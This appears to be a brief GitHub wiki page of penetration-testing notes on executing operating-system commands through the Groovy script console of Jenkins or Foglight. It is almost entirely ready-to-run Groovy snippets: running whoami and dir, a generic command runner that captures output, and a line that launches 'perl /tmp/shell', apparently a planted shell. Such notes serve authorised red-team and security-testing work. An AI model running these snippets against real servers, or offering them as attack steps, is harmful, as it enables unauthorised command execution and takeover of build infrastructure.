Groovy Script Command Execution - CraigDonkin/Infrastructure GitHub Wiki
Useful when gaining access to Jenkins/Foglight
print “cmd /c whoami”.execute().text
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
def command = "perl /tmp/shell"
def proc = command.execute()
proc.waitFor()